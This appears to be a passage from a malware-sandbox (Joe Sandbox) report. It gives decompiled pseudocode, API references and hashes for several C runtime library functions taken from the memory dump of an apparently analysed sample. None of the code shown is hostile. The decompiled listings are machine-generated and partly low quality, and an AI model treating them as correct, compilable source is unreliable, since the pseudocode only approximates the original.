Instruction ID: 9e9170f905d7e45ff45c04bc55d1329b570f8efeb0434e616e5189900f18e302
Opcode Fuzzy Hash: 5dea712b2c03b7e17b321fa485595e913ec7ad1fe2b61bb5b49f6b5f5eeeacb7
Instruction Fuzzy Hash: C151B473600116EFEF6D8F98CC84EBE3BA9EB64364F150129FE25E6190D7719C5087A0

Uniqueness

Uniqueness Score: -1.00%

Function 0114B04A, Relevance: 10.6, APIs: 7, Instructions: 90
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 37%

			E0114B04A(void* __ebx, void* __edi, void* __esi, void* __eflags) {
				void* _t22;
				void* _t24;
				intOrPtr* _t29;
				intOrPtr _t30;
				intOrPtr _t34;
				intOrPtr _t35;
				intOrPtr _t43;
				intOrPtr* _t45;
				intOrPtr* _t47;
				intOrPtr* _t48;
				void* _t49;

				_push(0x1c);
				_push(0x1167430);
				E0114B2A0(__ebx, __edi, __esi);
				_t22 = E01150E7E(__ebx, __edi, 8);
				 *(_t49 - 4) =  *(_t49 - 4) & 0x00000000;
				if( *0x116ada8 != 1) {
					 *0x116add0 = 1;
					 *0x116adcc =  *((intOrPtr*)(_t49 + 0x10));
					if( *((intOrPtr*)(_t49 + 0xc)) == 0) {
						_t47 = __imp__DecodePointer;
						_t34 =  *_t47( *0x116cc30);
						 *((intOrPtr*)(_t49 - 0x2c)) = _t34;
						_t35 = _t34;
						if(_t35 != 0) {
							_t29 =  *_t47( *0x116cc2c);
							_t45 = _t29;
							 *((intOrPtr*)(_t49 - 0x1c)) = _t35;
							 *((intOrPtr*)(_t49 - 0x20)) = _t45;
							while(1) {
								L4:
								 *((intOrPtr*)(_t49 - 0x24)) = _t45;
								while(1) {
									_t45 = _t45 - 4;
									 *((intOrPtr*)(_t49 - 0x24)) = _t45;
									if(_t45 < _t35) {
										goto L11;
									}
									__imp__EncodePointer(0);
									if( *_t45 == _t29) {
										continue;
									} else {
										if(_t45 >= _t35) {
											_t30 =  *_t47( *_t45);
											_t48 = _t30;
											__imp__EncodePointer(0);
											 *_t45 = _t30;
											 *_t48();
											_t47 = __imp__DecodePointer;
											 *((intOrPtr*)(_t49 - 0x28)) =  *_t47( *0x116cc30);
											_t29 =  *_t47( *0x116cc2c);
											_t43 =  *((intOrPtr*)(_t49 - 0x28));
											if( *((intOrPtr*)(_t49 - 0x1c)) != _t43 ||  *((intOrPtr*)(_t49 - 0x20)) != _t29) {
												 *((intOrPtr*)(_t49 - 0x1c)) = _t43;
												_t35 = _t43;
												 *((intOrPtr*)(_t49 - 0x2c)) = _t35;
												 *((intOrPtr*)(_t49 - 0x20)) = _t29;
												_t45 = _t29;
												goto L4;
											} else {
												continue;
											}
											goto L12;
										}
									}
									goto L11;
								}
								goto L11;
							}
						}
						L11:
						E0114AFE0(0x115f21c, 0x115f22c);
					}
					L12:
					_t22 = E0114AFE0(0x115f230, 0x115f234);
				}
				 *(_t49 - 4) = 0xfffffffe;
				L15();
				if( *((intOrPtr*)(_t49 + 0x10)) != 0) {
					return E0114B2E5(_t22);
				} else {
					 *0x116ada8 = 1;
					_t24 = E01150FE8(8);
					E0114AEC0( *((intOrPtr*)(_t49 + 8)));
					if( *((intOrPtr*)(_t49 + 0x10)) != 0) {
						return E01150FE8(8);
					}
					return _t24;
				}
			}

0x0114b04a
0x0114b04c
0x0114b051
0x0114b058
0x0114b05e
0x0114b069
0x0114b06f
0x0114b07c
0x0114b085
0x0114b091
0x0114b099
0x0114b09b
0x0114b09e
0x0114b0a0
0x0114b0a8
0x0114b0aa
0x0114b0ac
0x0114b0af
0x0114b0b2
0x0114b0b2
0x0114b0b2
0x0114b0b5
0x0114b0b5
0x0114b0b8
0x0114b0bd
0x00000000
0x00000000
0x0114b0c1
0x0114b0c9
0x00000000
0x0114b0cb
0x0114b0cd
0x0114b0d1
0x0114b0d4
0x0114b0d7
0x0114b0dd
0x0114b0df
0x0114b0e7
0x0114b0ef
0x0114b0f8
0x0114b0fa
0x0114b100
0x0114b107
0x0114b10a
0x0114b10c
0x0114b10f
0x0114b112
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x0114b100
0x0114b0cd
0x00000000
0x0114b0c9
0x00000000
0x0114b0b5
0x0114b0b2
0x0114b116
0x0114b120
0x0114b126
0x0114b127
0x0114b131
0x0114b137
0x0114b138
0x0114b13f
0x0114b148
0x0114b178
0x0114b14a
0x0114b14a
0x0114b156
0x0114b15f
0x0114b168
0x00000000
0x0114b171
0x0114b172
0x0114b172

APIs

Part of subcall function 01150E7E: EnterCriticalSection.KERNEL32(?,?,0114C32F,0000000D), ref: 01150EA9

DecodePointer.KERNEL32(01167430,0000001C,0114AFA3,00000000,00000001,00000000,?,0114AEF1,000000FF,?,01150EA1,00000011,?,?,0114C32F,0000000D), ref: 0114B097
DecodePointer.KERNEL32(?,0114AEF1,000000FF,?,01150EA1,00000011,?,?,0114C32F,0000000D), ref: 0114B0A8
EncodePointer.KERNEL32(00000000,?,0114AEF1,000000FF,?,01150EA1,00000011,?,?,0114C32F,0000000D), ref: 0114B0C1
DecodePointer.KERNEL32(-00000004,?,0114AEF1,000000FF,?,01150EA1,00000011,?,?,0114C32F,0000000D), ref: 0114B0D1
EncodePointer.KERNEL32(00000000,?,0114AEF1,000000FF,?,01150EA1,00000011,?,?,0114C32F,0000000D), ref: 0114B0D7
DecodePointer.KERNEL32(?,0114AEF1,000000FF,?,01150EA1,00000011,?,?,0114C32F,0000000D), ref: 0114B0ED
DecodePointer.KERNEL32(?,0114AEF1,000000FF,?,01150EA1,00000011,?,?,0114C32F,0000000D), ref: 0114B0F8

Memory Dump Source

Source File: 00000000.00000002.202496356.0000000001141000.00000020.00020000.sdmp, Offset: 01140000, based on PE: true

Associated: 00000000.00000002.202490176.0000000001140000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.202515991.000000000115F000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.202524272.0000000001169000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.202531573.000000000116D000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1140000_PHvqpLRfRl.jbxd

Similarity

API ID: Pointer$Decode$Encode$CriticalEnterSection
String ID:
API String ID: 3368343417-0
Opcode ID: 13041d3e9a1a23ce20ce6f619ed939bf5b8064a1ad22a87b06ff99ae51723096
Instruction ID: 84fef23d27898b47692dc501f913f06640d42f28239eb01ea0764c29a9c8bed4
Opcode Fuzzy Hash: 13041d3e9a1a23ce20ce6f619ed939bf5b8064a1ad22a87b06ff99ae51723096
Instruction Fuzzy Hash: 9631A17194830ADFEF6CAFA8F80579D7FB1AF08B55F10402AE52463294CBB58881CF59

Uniqueness

Uniqueness Score: -1.00%

Function 011436C0, Relevance: 9.1, APIs: 6, Instructions: 93
memoryCOMMON

Download Yara Rule

C-Code - Quality: 92%

			E011436C0(void** _a4, int* _a8) {
				int _v8;
				long _v12;
				void* _v16;
				int _t48;
				void* _t61;

				_v8 = 0;
				_v16 = 0;
				_v12 = 0xffffffff;
				if(_a4 == 0 || _a8 == 0 ||  *_a4 == 0) {
					_v8 = 0x80070057;
				}
				if(_v8 < 0) {
					L12:
					if(_v8 >= 0) {
						_t52 =  &(_a4[2]);
						_v12 = DocumentPropertiesW(0,  *_a4,  &(_a4[2]), _v16, 0, 2);
						if(_v12 != 1) {
							if(_v12 != 2) {
								_push(GetLastError());
								_v8 = E01141730(_t52);
							} else {
								_v8 = 0x80004005;
							}
						} else {
							 *_a8 = _v16;
						}
					}
					if(_v8 < 0 && _v16 != 0 && _v16 != 0) {
						LocalFree(_v16);
					}
					return _v8;
				}
				 *_a8 = 0;
				_t55 =  *_a4;
				_v12 = DocumentPropertiesW(0,  *_a4,  &(_a4[2]), 0, 0, 0);
				if(_v12 <= 0) {
					if(_v12 != 0) {
						_push(GetLastError());
						_t48 = E01141730(_t55);
						_t61 = _t61 + 4;
						_v8 = _t48;
					} else {
						_v8 = 0x80004005;
					}
					goto L12;
				}
				_v16 = LocalAlloc(0, _v12);
				if(_v16 == 0) {
					_v8 = 0x8007000e;
				}
				goto L12;
			}

0x011436c6
0x011436cd
0x011436d4
0x011436df
0x011436ef
0x011436ef
0x011436fa
0x01143767
0x0114376b
0x01143778
0x01143789
0x01143790
0x011437a0
0x011437b1
0x011437ba
0x011437a2
0x011437a2
0x011437a2
0x01143792
0x01143798
0x01143798
0x01143790
0x011437c1
0x011437d3
0x011437d3
0x011437df
0x011437df
0x011436ff
0x01143715
0x0114371f
0x01143726
0x0114374a
0x0114375b
0x0114375c
0x01143761
0x01143764
0x0114374c
0x0114374c
0x0114374c
0x00000000
0x0114374a
0x01143734
0x0114373b
0x0114373d
0x0114373d
0x00000000

APIs

DocumentPropertiesW.WINSPOOL.DRV(00000000,00000000,-00000008,00000000,00000000,00000000), ref: 0114371A
LocalAlloc.KERNEL32(00000000,00000000,00000000,00000000,-00000008,00000000,00000000,00000000), ref: 0114372E
GetLastError.KERNEL32(00000000,00000000,-00000008,00000000,00000000,00000000), ref: 01143755
DocumentPropertiesW.WINSPOOL.DRV(00000000,00000000,-00000008,00000000,00000000,00000002), ref: 01143784
GetLastError.KERNEL32(00000000,00000000,-00000008,00000000,00000000,00000002), ref: 011437AB
LocalFree.KERNEL32(00000000), ref: 011437D3

Memory Dump Source

Source File: 00000000.00000002.202496356.0000000001141000.00000020.00020000.sdmp, Offset: 01140000, based on PE: true

Associated: 00000000.00000002.202490176.0000000001140000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.202515991.000000000115F000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.202524272.0000000001169000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.202531573.000000000116D000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1140000_PHvqpLRfRl.jbxd

Similarity

API ID: DocumentErrorLastLocalProperties$AllocFree
String ID:
API String ID: 2152683559-0
Opcode ID: 7f5c8b0960d4cc3a8065c4955894bf277ed01f745313753c1500cf42b1dd9159
Instruction ID: edb30d2637361a40a8e4c9828637a27b1405e93717024305f8c6ef466e72dced
Opcode Fuzzy Hash: 7f5c8b0960d4cc3a8065c4955894bf277ed01f745313753c1500cf42b1dd9159
Instruction Fuzzy Hash: 6D4119B4910619FFEF18DF94C949B9DBBB0FB04B1AF20C0A9E9656B280D3745A84CF51

Uniqueness

Uniqueness Score: -1.00%

Function 0114E86D, Relevance: 8.9, APIs: 2, Strings: 3, Instructions: 105
COMMON

Download Yara Rule

C-Code - Quality: 63%

			E0114E86D(void* __ecx, intOrPtr* _a4, intOrPtr _a8, intOrPtr _a12, intOrPtr _a16, char _a20, intOrPtr _a24, intOrPtr _a28, intOrPtr _a32) {
				char _v8;
				char _v12;
				void* __ebx;
				void* __esi;
				intOrPtr _t44;
				void* _t45;
				signed int _t49;
				intOrPtr _t53;
				intOrPtr _t55;
				intOrPtr _t59;
				intOrPtr _t61;
				intOrPtr* _t64;
				intOrPtr _t71;
				signed int* _t74;
				void* _t75;
				void* _t77;
				void* _t79;

				_t58 = __ecx;
				_push(__ecx);
				_push(__ecx);
				_t64 = _a4;
				if( *_t64 == 0x80000003) {
					L19:
					return _t44;
				}
				_t45 = E0114C25F();
				_t2 =  &_a20; // 0xe06d7363
				_t55 =  *_t2;
				if( *((intOrPtr*)(_t45 + 0x80)) == 0) {
					L6:
					if( *((intOrPtr*)(_t55 + 0xc)) == 0) {
						E0114E09C();
					}
					_t44 = E0114A39B(_t58, _t55, _a28, _a24,  &_v12,  &_v8);
					_t59 = _v12;
					_t79 = _t77 + 0x14;
					_t61 = _v8;
					if(_t59 >= _t61) {
						L18:
						goto L19;
					} else {
						_t17 = _t44 + 0xc; // 0xc
						_t74 = _t17;
						_t44 = _a24;
						do {
							if(_t44 >=  *((intOrPtr*)(_t74 - 0xc)) && _t44 <=  *((intOrPtr*)(_t74 - 8))) {
								_t49 =  *_t74 << 4;
								if( *((intOrPtr*)(_t74[1] + _t49 - 0xc)) == 0) {
									L14:
									_t50 = _t49 + _t74[1] + 0xfffffff0;
									_t71 = _a4;
									if(( *(_t49 + _t74[1] + 0xfffffff0) & 0x00000040) == 0) {
										_push(1);
										_t35 = _t74 - 0xc; // 0x0
										E0114E408(_t55, _t74, _t71, _a8, _a12, _a16, _t55, _t50, 0, _t35, _a28, _a32);
										_t61 = _v8;
										_t79 = _t79 + 0x2c;
										_t59 = _v12;
									}
									L16:
									_t44 = _a24;
									goto L17;
								}
								_t61 = _v8;
								_t55 = _a20;
								if( *((char*)( *((intOrPtr*)(_t74[1] + _t49 - 0xc)) + 8)) != 0) {
									goto L16;
								}
								goto L14;
							}
							L17:
							_t59 = _t59 + 1;
							_t74 =  &(_t74[5]);
							_v12 = _t59;
						} while (_t59 < _t61);
						goto L18;
					}
				}
				__imp__EncodePointer(0);
				_t75 = _t45;
				if( *((intOrPtr*)(E0114C25F() + 0x80)) != _t75 &&  *_t64 != 0xe0434f4d &&  *_t64 != 0xe0434352) {
					_push(_a32);
					_push(_a28);
					_push(_t55);
					_push(_a16);
					_push(_a12);
					_push(_a8);
					_push(_t64);
					_t53 = E0114A2C4();
					_t77 = _t77 + 0x1c;
					_t44 = _t53;
					if(_t44 != 0) {
						goto L18;
					}
				}
			}

0x0114e86d
0x0114e870
0x0114e871
0x0114e873
0x0114e87c
0x0114e984
0x0114e988
0x0114e988
0x0114e884
0x0114e889
0x0114e889
0x0114e893
0x0114e8dd
0x0114e8e1
0x0114e8e3
0x0114e8e3
0x0114e8f7
0x0114e8fc
0x0114e8ff
0x0114e902
0x0114e907
0x0114e982
0x00000000
0x0114e909
0x0114e909
0x0114e909
0x0114e90c
0x0114e90f
0x0114e912
0x0114e91e
0x0114e927
0x0114e93c
0x0114e942
0x0114e944
0x0114e94a
0x0114e94c
0x0114e951
0x0114e966
0x0114e96b
0x0114e96e
0x0114e971
0x0114e971
0x0114e974
0x0114e974
0x00000000
0x0114e974
0x0114e930
0x0114e937
0x0114e93a
0x00000000
0x00000000
0x00000000
0x0114e93a
0x0114e977
0x0114e977
0x0114e978
0x0114e97b
0x0114e97e
0x00000000
0x0114e90f
0x0114e907
0x0114e897
0x0114e89e
0x0114e8aa
0x0114e8bc
0x0114e8bf
0x0114e8c2
0x0114e8c3
0x0114e8c6
0x0114e8c9
0x0114e8cc
0x0114e8cd
0x0114e8d2
0x0114e8d5
0x0114e8d7
0x00000000
0x00000000
0x0114e8d7

APIs

EncodePointer.KERNEL32(00000000), ref: 0114E897
_GetRangeOfTrysToCheck.LIBCMT ref: 0114E8F7

Strings

csm, xrefs: 0114E889, 0114E8C2, 0114E8F6, 0114E95B
RCC, xrefs: 0114E8B4
MOC, xrefs: 0114E8AC

Memory Dump Source

Source File: 00000000.00000002.202496356.0000000001141000.00000020.00020000.sdmp, Offset: 01140000, based on PE: true

Associated: 00000000.00000002.202490176.0000000001140000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.202515991.000000000115F000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.202524272.0000000001169000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.202531573.000000000116D000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1140000_PHvqpLRfRl.jbxd

Similarity

API ID: CheckEncodePointerRangeTrys
String ID: MOC$RCC$csm
API String ID: 1143505961-2671469338
Opcode ID: 5fb66069ae7af2c724dc2055fb46e48db37a3cb2255b973c52dd953346bfa1c7
Instruction ID: 9662eb6678f8c084e43632dc2c90719a4bc390572d40633fb6e37bdbc5e27685
Opcode Fuzzy Hash: 5fb66069ae7af2c724dc2055fb46e48db37a3cb2255b973c52dd953346bfa1c7
Instruction Fuzzy Hash: 5141A03650110AEFEF1ACF48CC80EAEBB6AFF44B18F184154FA0457291D379A951DB91

Uniqueness

Uniqueness Score: -1.00%

Function 0114FC05, Relevance: 7.7, APIs: 5, Instructions: 232
COMMON

Download Yara Rule

C-Code - Quality: 95%

			E0114FC05(void* __ebx, void* __edi, void* __esi, void* __eflags) {
				intOrPtr _t82;
				signed int _t86;
				long _t90;
				void* _t91;
				signed int _t94;
				signed int _t95;
				signed int _t99;
				signed int _t100;
				signed char _t104;
				signed int _t107;
				intOrPtr _t108;
				intOrPtr* _t111;
				signed char _t113;
				signed int _t114;
				long _t121;
				intOrPtr _t132;
				signed int _t136;
				signed int _t137;
				void* _t139;
				signed int _t142;
				void** _t143;
				signed int _t145;
				signed int _t146;
				signed int _t147;
				signed int _t151;
				signed int _t153;
				void* _t154;
				signed int _t158;
				void* _t159;
				void* _t160;

				_push(0x64);
				_push(0x1167718);
				E0114B2A0(__ebx, __edi, __esi);
				E01150E7E(__ebx, __edi, 0xb);
				 *((intOrPtr*)(_t159 - 4)) = 0;
				_push(0x40);
				_t145 = 0x20;
				_push(_t145);
				_t82 = E0114B1BE();
				_t136 = _t82;
				 *(_t159 - 0x24) = _t136;
				_t137 = _t136;
				if(_t137 != 0) {
					 *0x116b450 = _t82;
					 *0x116cc24 = _t145;
					while(1) {
						__eflags = _t137 - _t82 + 0x800;
						if(_t137 >= _t82 + 0x800) {
							break;
						}
						 *((short*)(_t137 + 4)) = 0xa00;
						 *_t137 =  *_t137 | 0xffffffff;
						 *((intOrPtr*)(_t137 + 8)) = 0;
						 *(_t137 + 0x24) =  *(_t137 + 0x24) & 0x00000080;
						 *(_t137 + 0x24) =  *(_t137 + 0x24) & 0x0000007f;
						 *((short*)(_t137 + 0x25)) = 0xa0a;
						 *((intOrPtr*)(_t137 + 0x38)) = 0;
						 *((char*)(_t137 + 0x34)) = 0;
						_t137 = _t137 + 0x40;
						 *(_t159 - 0x24) = _t137;
						_t82 =  *0x116b450; // 0xa40f78
					}
					GetStartupInfoW(_t159 - 0x74);
					__eflags =  *((short*)(_t159 - 0x42));
					if( *((short*)(_t159 - 0x42)) == 0) {
						L27:
						_t132 = 0xfffffffe;
						L28:
						_t146 = 0;
						__eflags = 0;
						while(1) {
							 *(_t159 - 0x2c) = _t146;
							__eflags = _t146 - 3;
							if(_t146 >= 3) {
								break;
							}
							_t151 = (_t146 << 6) +  *0x116b450;
							 *(_t159 - 0x24) = _t151;
							__eflags =  *_t151 - 0xffffffff;
							if( *_t151 == 0xffffffff) {
								L33:
								 *(_t151 + 4) = 0x81;
								_t146 = _t146;
								__eflags = _t146;
								if(_t146 != 0) {
									_t65 = _t146 - 1; // 0x1f
									asm("sbb eax, eax");
									_t90 =  ~_t65 + 0xfffffff5;
									__eflags = _t90;
								} else {
									_t90 = 0xfffffff6;
								}
								_t91 = GetStdHandle(_t90);
								 *(_t159 - 0x1c) = _t91;
								__eflags = _t91 - 0xffffffff;
								if(_t91 == 0xffffffff) {
									L45:
									 *(_t151 + 4) =  *(_t151 + 4) | 0x00000040;
									 *_t151 = _t132;
									_t94 =  *0x116cb80; // 0xa43cc8
									_t95 = _t94;
									__eflags = _t95;
									if(_t95 != 0) {
										 *((intOrPtr*)( *((intOrPtr*)(_t95 + _t146 * 4)) + 0x10)) = _t132;
									}
									goto L47;
								} else {
									__eflags = _t91;
									if(_t91 == 0) {
										goto L45;
									}
									_t99 = GetFileType(_t91);
									__eflags = _t99;
									if(_t99 == 0) {
										goto L45;
									}
									 *_t151 =  *(_t159 - 0x1c);
									_t100 = _t99 & 0x000000ff;
									__eflags = _t100 - 2;
									if(_t100 != 2) {
										__eflags = _t100 - 3;
										if(_t100 != 3) {
											L44:
											_t71 = _t151 + 0xc; // -18265124
											E01150420(_t71, 0xfa0, 0);
											_t160 = _t160 + 0xc;
											 *((intOrPtr*)(_t151 + 8)) =  *((intOrPtr*)(_t151 + 8)) + 1;
											L47:
											_t146 = _t146 + 1;
											continue;
										}
										_t104 =  *(_t151 + 4) | 0x00000008;
										__eflags = _t104;
										L43:
										 *(_t151 + 4) = _t104;
										goto L44;
									}
									_t104 =  *(_t151 + 4) | 0x00000040;
									goto L43;
								}
							}
							__eflags =  *_t151 - _t132;
							if( *_t151 == _t132) {
								goto L33;
							}
							 *(_t151 + 4) =  *(_t151 + 4) | 0x00000080;
							goto L47;
						}
						 *((intOrPtr*)(_t159 - 4)) = _t132;
						E0114FEB0();
						_t86 = 0;
						__eflags = 0;
						L49:
						return E0114B2E5(_t86);
					}
					_t107 =  *(_t159 - 0x40);
					__eflags = _t107;
					if(_t107 == 0) {
						goto L27;
					}
					_t139 =  *_t107;
					 *(_t159 - 0x1c) = _t139;
					_t108 = _t107 + 4;
					 *((intOrPtr*)(_t159 - 0x28)) = _t108;
					 *(_t159 - 0x20) = _t108 + _t139;
					__eflags = _t139 - 0x800;
					if(_t139 >= 0x800) {
						_t139 = 0x800;
						 *(_t159 - 0x1c) = _t139;
					}
					_t153 = 1;
					__eflags = 1;
					 *(_t159 - 0x30) = 1;
					while(1) {
						__eflags =  *0x116cc24 - _t139; // 0x20
						if(__eflags >= 0) {
							break;
						}
						_push(0x40);
						_push(_t145);
						_t142 = E0114B1BE();
						 *(_t159 - 0x24) = _t142;
						__eflags = _t142;
						if(_t142 != 0) {
							 *(0x116b450 + _t153 * 4) = _t142;
							 *0x116cc24 =  *0x116cc24 + _t145;
							__eflags =  *0x116cc24;
							while(1) {
								__eflags = _t142 -  *(0x116b450 + _t153 * 4) + 0x800;
								if(_t142 >=  *(0x116b450 + _t153 * 4) + 0x800) {
									break;
								}
								 *((short*)(_t142 + 4)) = 0xa00;
								 *_t142 =  *_t142 | 0xffffffff;
								 *((intOrPtr*)(_t142 + 8)) = 0;
								 *(_t142 + 0x24) =  *(_t142 + 0x24) & 0x00000080;
								 *((short*)(_t142 + 0x25)) = 0xa0a;
								 *((intOrPtr*)(_t142 + 0x38)) = 0;
								 *((char*)(_t142 + 0x34)) = 0;
								_t142 = _t142 + 0x40;
								 *(_t159 - 0x24) = _t142;
							}
							_t153 = _t153 + 1;
							 *(_t159 - 0x30) = _t153;
							_t139 =  *(_t159 - 0x1c);
							continue;
						}
						_t139 =  *0x116cc24; // 0x20
						 *(_t159 - 0x1c) = _t139;
						break;
					}
					_t147 = 0;
					 *(_t159 - 0x2c) = 0;
					_t132 = 0xfffffffe;
					_t111 =  *((intOrPtr*)(_t159 - 0x28));
					_t143 =  *(_t159 - 0x20);
					while(1) {
						__eflags = _t147 - _t139;
						if(_t147 >= _t139) {
							goto L28;
						}
						_t154 =  *_t143;
						__eflags = _t154 - 0xffffffff;
						if(_t154 == 0xffffffff) {
							L22:
							_t147 = _t147 + 1;
							 *(_t159 - 0x2c) = _t147;
							_t111 =  *((intOrPtr*)(_t159 - 0x28)) + 1;
							 *((intOrPtr*)(_t159 - 0x28)) = _t111;
							_t143 =  &(_t143[1]);
							 *(_t159 - 0x20) = _t143;
							continue;
						}
						__eflags = _t154 - _t132;
						if(_t154 == _t132) {
							goto L22;
						}
						_t113 =  *_t111;
						__eflags = _t113 & 0x00000001;
						if((_t113 & 0x00000001) == 0) {
							goto L22;
						}
						__eflags = _t113 & 0x00000008;
						if((_t113 & 0x00000008) != 0) {
							L20:
							_t114 = _t147;
							_t158 = ((_t147 & 0x0000001f) << 6) +  *((intOrPtr*)(0x116b450 + (_t114 >> 5) * 4));
							 *(_t159 - 0x24) = _t158;
							 *_t158 =  *_t143;
							 *((char*)(_t158 + 4)) =  *((intOrPtr*)( *((intOrPtr*)(_t159 - 0x28))));
							_t37 = _t158 + 0xc; // 0xd
							E01150420(_t37, 0xfa0, 0);
							_t160 = _t160 + 0xc;
							_t38 = _t158 + 8;
							 *_t38 =  *(_t158 + 8) + 1;
							__eflags =  *_t38;
							_t143 =  *(_t159 - 0x20);
							L21:
							_t139 =  *(_t159 - 0x1c);
							goto L22;
						}
						_t121 = GetFileType(_t154);
						_t143 =  *(_t159 - 0x20);
						__eflags = _t121;
						if(_t121 == 0) {
							goto L21;
						}
						goto L20;
					}
					goto L28;
				}
				_t86 = E01151280(_t159, 0x1169060, _t159 - 0x10, 0xfffffffe) | 0xffffffff;
				goto L49;
			}

0x0114fc05
0x0114fc07
0x0114fc0c
0x0114fc13
0x0114fc1b
0x0114fc1e
0x0114fc22
0x0114fc23
0x0114fc24
0x0114fc2c
0x0114fc2d
0x0114fc30
0x0114fc32
0x0114fc4f
0x0114fc54
0x0114fc5a
0x0114fc5f
0x0114fc61
0x00000000
0x00000000
0x0114fc63
0x0114fc69
0x0114fc6c
0x0114fc6f
0x0114fc78
0x0114fc7b
0x0114fc81
0x0114fc84
0x0114fc87
0x0114fc8a
0x0114fc8d
0x0114fc8d
0x0114fc98
0x0114fc9e
0x0114fca3
0x0114fdd8
0x0114fdda
0x0114fddb
0x0114fddb
0x0114fddb
0x0114fddd
0x0114fddd
0x0114fde0
0x0114fde3
0x00000000
0x00000000
0x0114fdee
0x0114fdf4
0x0114fdf7
0x0114fdfa
0x0114fe0e
0x0114fe0e
0x0114fe12
0x0114fe12
0x0114fe14
0x0114fe1b
0x0114fe20
0x0114fe22
0x0114fe22
0x0114fe16
0x0114fe18
0x0114fe18
0x0114fe26
0x0114fe2c
0x0114fe2f
0x0114fe32
0x0114fe80
0x0114fe86
0x0114fe89
0x0114fe8b
0x0114fe90
0x0114fe90
0x0114fe92
0x0114fe97
0x0114fe97
0x00000000
0x0114fe34
0x0114fe34
0x0114fe36
0x00000000
0x00000000
0x0114fe39
0x0114fe3f
0x0114fe41
0x00000000
0x00000000
0x0114fe46
0x0114fe48
0x0114fe4d
0x0114fe50
0x0114fe5a
0x0114fe5d
0x0114fe68
0x0114fe6f
0x0114fe73
0x0114fe78
0x0114fe7b
0x0114fe9a
0x0114fe9a
0x00000000
0x0114fe9a
0x0114fe63
0x0114fe63
0x0114fe65
0x0114fe65
0x00000000
0x0114fe65
0x0114fe56
0x00000000
0x0114fe56
0x0114fe32
0x0114fdfc
0x0114fdfe
0x00000000
0x00000000
0x0114fe06
0x00000000
0x0114fe06
0x0114fea0
0x0114fea3
0x0114fea8
0x0114fea8
0x0114feaa
0x0114feaf
0x0114feaf
0x0114fcac
0x0114fcac
0x0114fcae
0x00000000
0x00000000
0x0114fcb4
0x0114fcb6
0x0114fcb9
0x0114fcbc
0x0114fcc1
0x0114fcc9
0x0114fccb
0x0114fcce
0x0114fccf
0x0114fccf
0x0114fcd4
0x0114fcd4
0x0114fcd5
0x0114fcd8
0x0114fcd8
0x0114fcde
0x00000000
0x00000000
0x0114fce0
0x0114fce2
0x0114fcea
0x0114fcec
0x0114fcef
0x0114fcf1
0x0114fd8b
0x0114fd92
0x0114fd92
0x0114fd98
0x0114fda4
0x0114fda6
0x00000000
0x00000000
0x0114fda8
0x0114fdae
0x0114fdb1
0x0114fdb4
0x0114fdb8
0x0114fdbe
0x0114fdc1
0x0114fdc4
0x0114fdc7
0x0114fdc7
0x0114fdcc
0x0114fdcd
0x0114fdd0
0x00000000
0x0114fdd0
0x0114fcf7
0x0114fcfd
0x00000000
0x0114fcfd
0x0114fd00
0x0114fd02
0x0114fd07
0x0114fd08
0x0114fd0b
0x0114fd0e
0x0114fd0e
0x0114fd10
0x00000000
0x00000000
0x0114fd16
0x0114fd18
0x0114fd1b
0x0114fd78
0x0114fd78
0x0114fd79
0x0114fd7f
0x0114fd80
0x0114fd83
0x0114fd86
0x00000000
0x0114fd86
0x0114fd1d
0x0114fd1f
0x00000000
0x00000000
0x0114fd21
0x0114fd23
0x0114fd25
0x00000000
0x00000000
0x0114fd27
0x0114fd29
0x0114fd39
0x0114fd3a
0x0114fd46
0x0114fd4d
0x0114fd52
0x0114fd59
0x0114fd63
0x0114fd67
0x0114fd6c
0x0114fd6f
0x0114fd6f
0x0114fd6f
0x0114fd72
0x0114fd75
0x0114fd75
0x00000000
0x0114fd75
0x0114fd2c
0x0114fd32
0x0114fd35
0x0114fd37
0x00000000
0x00000000
0x00000000
0x0114fd37
0x00000000
0x0114fd0e
0x0114fc47
0x00000000

APIs

Part of subcall function 01150E7E: EnterCriticalSection.KERNEL32(?,?,0114C32F,0000000D), ref: 01150EA9

@_EH4_CallFilterFunc@8.LIBCMT ref: 0114FC3F
GetStartupInfoW.KERNEL32(?,01167718,00000064,0114A6D9,01167410,00000014), ref: 0114FC98
GetFileType.KERNEL32(00000001), ref: 0114FD2C

Memory Dump Source

Source File: 00000000.00000002.202496356.0000000001141000.00000020.00020000.sdmp, Offset: 01140000, based on PE: true

Associated: 00000000.00000002.202490176.0000000001140000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.202515991.000000000115F000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.202524272.0000000001169000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.202531573.000000000116D000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1140000_PHvqpLRfRl.jbxd

Similarity

API ID: CallCriticalEnterFileFilterFunc@8InfoSectionStartupType
String ID:
API String ID: 2341069899-0
Opcode ID: 8aaa4c2f551be88bbeb7995c0eb42b57581087ddca1eb8ac0ab9ec4008d3408f
Instruction ID: cb1d68f94661a7eb92e29566ab3cd89e00dd1ac9292aea08d29dda71248c5687
Opcode Fuzzy Hash: 8aaa4c2f551be88bbeb7995c0eb42b57581087ddca1eb8ac0ab9ec4008d3408f
Instruction Fuzzy Hash: 0D81CE719042578FDB28CF6CC8406ADBBF0AF09B28B24466ED4B6AB3D2D7359443CB55

Uniqueness

Uniqueness Score: -1.00%

Function 0115D415, Relevance: 7.7, APIs: 5, Instructions: 219
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 93%

			E0115D415(int* __edx) {
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int _t54;
				char* _t56;
				intOrPtr _t59;
				int _t61;
				intOrPtr* _t62;
				signed int _t65;
